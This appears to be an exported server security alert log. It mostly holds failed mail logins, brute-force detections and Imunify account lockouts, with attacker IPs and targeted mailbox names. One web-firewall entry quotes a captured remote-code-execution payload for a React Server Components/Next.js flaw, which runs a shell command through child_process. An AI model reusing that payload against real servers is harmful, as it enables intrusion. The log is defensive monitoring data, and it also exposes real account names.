name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:52:39 dovecot_login authenticator failed for H=(SFTD5dVov) [178.16.54.22]:57793: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:52:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:52:12 dovecot_login authenticator failed for H=(jeWujk) [158.94.208.175]:62403: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:52:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 05:53:18 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:41616: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:53:21 dovecot_login authenticator failed for H=(NS22ElFk8P) [158.94.208.175]:56492: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:53:02 dovecot_login authenticator failed for H=(rI8zrKRg8l) [178.16.54.22]:62314: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:53:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:53:05 dovecot_login authenticator failed for H=(KQQBCfCIg) [158.94.208.215]:63970: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.181.238.119
country_id: 6252001
description:
2026-02-01 05:53:13 dovecot_login authenticator failed for H=(ADMIN) [95.181.238.119]:44105: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:53:14 dovecot_login authenticator failed for H=(LDZQWj) [141.98.11.11]:62501: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:53:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.170.218.142
country_id: 1835841
description:
2026-02-01 05:53:26 dovecot_login authenticator failed for H=([121.170.218.142]) [121.170.218.142]:34970: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.75
country_id: 1880251
domain: dynamic-hr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/about.php||SC:/home2/dynamichrcom/public_html/images/about.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:53:08 dovecot_login authenticator failed for H=(2puw5w) [178.16.52.139]:64406: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:53:26 dovecot_login authenticator failed for H=(gy4bjI) [185.36.81.54]:65297: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:53:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:53:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.54.22.11
country_id: 1835841
description:
2026-02-01 05:53:46 dovecot_login authenticator failed for H=([14.54.22.11]) [14.54.22.11]:15835: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:54:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:54:08 dovecot_login authenticator failed for H=(RDCLF7zGX8) [185.36.81.54]:52899: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:54:07 dovecot_login authenticator failed for H=(C4ixRP5IH) [158.94.208.175]:60570: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:54:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.85.204
country_id: 337996
description:
2026-02-01 05:54:24 dovecot_login authenticator failed for H=([197.156.121.38]) [213.55.85.204]:49077: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:54:11 dovecot_login authenticator failed for H=(JxqFwj2V) [178.16.54.22]:59283: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:54:11 dovecot_login authenticator failed for H=(TMfXcMdVF) [141.98.11.11]:59977: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:54:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:54:17 dovecot_login authenticator failed for H=(1zTNeoX) [158.94.208.215]:59503: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77093094
abuser: 101.108.51.244
country_id: 1605651
domain: 42.0.28.25
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.186.35.62
country_id: 1562822
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/resize.php?h=463&img=img/product_photos/169462.jpg&w=555 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 05:55:58 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:42810: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:55:20 dovecot_login authenticator failed for H=(f8FsQSbRO) [178.16.54.22]:54196: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.136
country_id: 2017370
description:
2026-02-01 05:55:31 dovecot_login authenticator failed for H=([178.178.194.136]) [178.178.194.136]:33798: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:55:16 dovecot_login authenticator failed for H=(am7SZLr83I) [158.94.208.175]:63827: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:55:53 dovecot_login authenticator failed for H=(UoXE5cfvX) [185.36.81.54]:53788: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:55:05 dovecot_login authenticator failed for H=(kDBI9h0R70) [158.94.208.215]:56878: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:55:34 dovecot_login authenticator failed for H=(Q5j8Ya) [141.98.11.11]:61281: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.170.50.2
country_id: 3932488
description:
2026-02-01 05:55:08 dovecot_login authenticator failed for H=([45.170.50.2]) [45.170.50.2]:60012: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:55:11 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:52599: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-02-01 05:55:21 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:40956: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:56:17 dovecot_login authenticator failed for H=(adgY11q2) [158.94.208.215]:49885: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:56:34 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51974: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:56:45 dovecot_login authenticator failed for H=(J7WNzf) [185.36.81.54]:59610: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:56:02 dovecot_login authenticator failed for H=(II0fr2Hl) [158.94.208.175]:51607: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:56:06 dovecot_login authenticator failed for H=(jYZ3qhI) [178.16.54.22]:52520: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.174.46.130
country_id: 3996063
description:
2026-02-01 05:56:58 dovecot_plain authenticator failed for H=(squads) [201.174.46.130]:52788: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:56:27 dovecot_login authenticator failed for H=(BznhHca) [178.16.52.139]:62856: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:56:11 dovecot_login authenticator failed for H=(6c5skAXJ) [141.98.11.11]:61666: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:57:05 dovecot_login authenticator failed for H=(lGycjIoFWh) [158.94.208.215]:56648: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:57:56 dovecot_login authenticator failed for H=(NudSEkWoa) [185.36.81.54]:49489: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:57:11 dovecot_login authenticator failed for H=(VnxBdDWUdC) [158.94.208.175]:54968: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 05:57:13 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:60162: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:57:15 dovecot_login authenticator failed for H=(ZSI1klAs) [178.16.54.22]:62812: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:57:25 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:57706: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 05:57:53 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:53178: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:57:04 dovecot_login authenticator failed for H=(gumcfeN) [178.16.52.139]:54587: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:57:50 dovecot_login authenticator failed for H=(LCAcuPgce7) [141.98.11.11]:64755: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:58:20 dovecot_login authenticator failed for H=(eMVMZa2) [158.94.208.175]:60670: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:58:24 dovecot_login authenticator failed for H=(SbqpOA5) [178.16.54.22]:50678: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:58:41 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-02-01 05:58:42 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:53636: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.246.106
country_id: 1269750
description:
2026-02-01 05:58:54 dovecot_login authenticator failed for H=([27.123.119.254]) [128.185.246.106]:51614: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:58:07 dovecot_login authenticator failed for H=(P83Yi2m) [178.16.52.139]:59020: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:58:15 dovecot_login authenticator failed for H=(0g6OOzQvkl) [141.98.11.11]:49563: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:58:17 dovecot_login authenticator failed for H=(WGt3WrDPz) [158.94.208.215]:54277: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 42.0.7.197
country_id: 1210997
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=7222 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:58:46 dovecot_login authenticator failed for H=(dQeab9r0) [185.36.81.54]:60598: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.234.246
country_id: 1835841
description:
2026-02-01 05:59:02 dovecot_login authenticator failed for H=([112.164.234.246]) [112.164.234.246]:54811: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:59:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:59:10 dovecot_login authenticator failed for H=(o7JLZ9Q) [178.16.54.22]:58342: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 05:59:42 dovecot_login authenticator failed for H=(dhCZwtnGZ) [137.220.199.220]:49250: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:59:05 dovecot_login authenticator failed for H=(TzggOZCP) [158.94.208.215]:50403: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:59:06 dovecot_login authenticator failed for H=(E9bHse) [158.94.208.175]:55713: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:59:25 dovecot_login authenticator failed for H=(N15sRWSRZi) [141.98.11.11]:56557: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:59:54 dovecot_login authenticator failed for H=(XsHdNE) [178.16.52.139]:58895: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.64.93.161
country_id: 2077456
description:
2026-02-01 05:59:12 dovecot_login authenticator failed for H=115-64-93-161.tpgi.com.au [115.64.93.161]:40223: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.130.146.31
country_id: 6251999
description:
2026-02-01 05:59:12 dovecot_login authenticator failed for H=31.146.130.34.bc.googleusercontent.com (10.188.0.2) [34.130.146.31]:55675: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 05:59:14 dovecot_login authenticator failed for H=(osv1rulF8) [178.16.52.139]:49992: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:59:19 dovecot_login authenticator failed for H=(3wS3meYKR) [185.36.81.54]:60745: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 05:59:52 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 05:59:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:59:04 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.37.13.66
country_id: 1814991
description:
2026-02-01 05:59:24 dovecot_login authenticator failed for H=([59.37.13.66]) [59.37.13.66]:47602: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:00:38 dovecot_login authenticator failed for H=(p2khsgPj) [141.98.11.11]:56617: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:00:09 dovecot_login authenticator failed for H=(ifKVHXUNK1) [178.16.52.139]:63967: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:00:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 06:00:17 dovecot_login authenticator failed for H=(svedOlfE) [158.94.208.215]:52430: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.247
country_id: 1605651
description:
2026-02-01 06:00:45 dovecot_login authenticator failed for H=([203.170.150.247]) [203.170.150.247]:59572: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:00:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:00:16 dovecot_login authenticator failed for H=(hsdwz6gvZ) [158.94.208.175]:51547: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:00:17 dovecot_login authenticator failed for H=(h6SjP6gswJ) [137.220.199.220]:50257: 535 Incorrect authentication data (set_id=sales@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:00:19 dovecot_login authenticator failed for H=(1TLOI05) [178.16.54.22]:53004: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:00:51 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:00:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:00:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:00:32 dovecot_login authenticator failed for H=(QkzjvFGDla) [185.36.81.54]:54261: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 15.204.94.173
country_id: 6252001
description:
2026-02-01 06:00:38 dovecot_login authenticator failed for H=vps-63db5216.vps.ovh.us [15.204.94.173]:37130: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.248.28.189
country_id: 6252001
description:
2026-02-01 06:01:20 dovecot_login authenticator failed for H=([166.248.28.189]) [166.248.28.189]:38820: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 06:01:25 dovecot_login authenticator failed for H=(fGuSh05EBI) [158.94.208.175]:57014: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 06:01:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.76.191.29
country_id: 1819730
description:
2026-02-01 06:01:09 dovecot_login authenticator failed for H=029.191.76.219.static.netvigator.com [219.76.191.29]:54166: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 137.220.199.220
country_id: 1861060
description:
2026-02-01 06:01:11 dovecot_login authenticator failed for H=(5jZUQHYj) [137.220.199.220]:52778: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 06:01:13 dovecot_login authenticator failed for H=(DxgUTX) [141.98.11.11]:64059: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 06:01:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 06:01:05 dovecot_login authenticator failed for H=(p0OGmC) [178.16.54.22]:54338: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 137.220.199.220
country_id: 1861060
description:
Feb  1 06:01:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account sales has been temporarily locked by Imunify PAM(137.220.199.220)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 06:01:31 dovecot_login authenticator failed for H=(6OsK2VV) [185.36.81.54]:59768: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 06:01:03 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 06:01:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 06:01:15 dovecot_login authenticator failed for H=(VDSdATtdp) [178.16.52.139]:56938: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
